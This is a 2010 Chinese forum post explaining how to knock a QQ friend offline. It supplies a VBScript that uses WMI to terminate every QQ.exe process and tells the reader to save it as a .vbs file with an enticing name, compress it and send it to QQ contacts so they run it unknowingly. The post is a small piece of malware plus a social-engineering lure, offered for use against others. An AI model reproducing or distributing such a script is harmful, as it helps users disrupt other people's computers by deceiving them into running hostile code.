网络新手
Would you like to react to this message? Create an account in a few clicks or log in to continue.
网络新手

原域名www.351.hag.cn已经改为www.wlxs.888ubb.net,请大家牢记!


您没有登录。 请登录注册

利用[VBS]代码,让对方QQ掉线

向下  留言 [第1页/共1页]

1利用[VBS]代码,让对方QQ掉线 Empty 利用[VBS]代码,让对方QQ掉线 周五 五月 21, 2010 6:02 pm

2520

2520
书生

1:首先然桌面上新建一个文本文档



2:右键------编辑



3:在弹出的窗口当中把下面代码粘贴进去点击左上角的文件[保存]


strComputer="."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList=objWMIService.ExecQuery ("select * from Win32_Process where Name='QQ.exe' ")
For Each objProcess in colProcessList
objProcess.Terminate()
next


4:保存后我们重命为扩展名为 vbs 类型的文件,我们把名字尽量改得吸引人一点


5.最后把它添加到压缩文件 , 复制发给QQ好友就行了


6.等待他的打开……

返回页首  留言 [第1页/共1页]

您在这个论坛的权限:
不能在这个论坛回复主题

 




  

创建免费论坛 | ©phpBB | 互助中心 | 违法举报 | 最近的讨论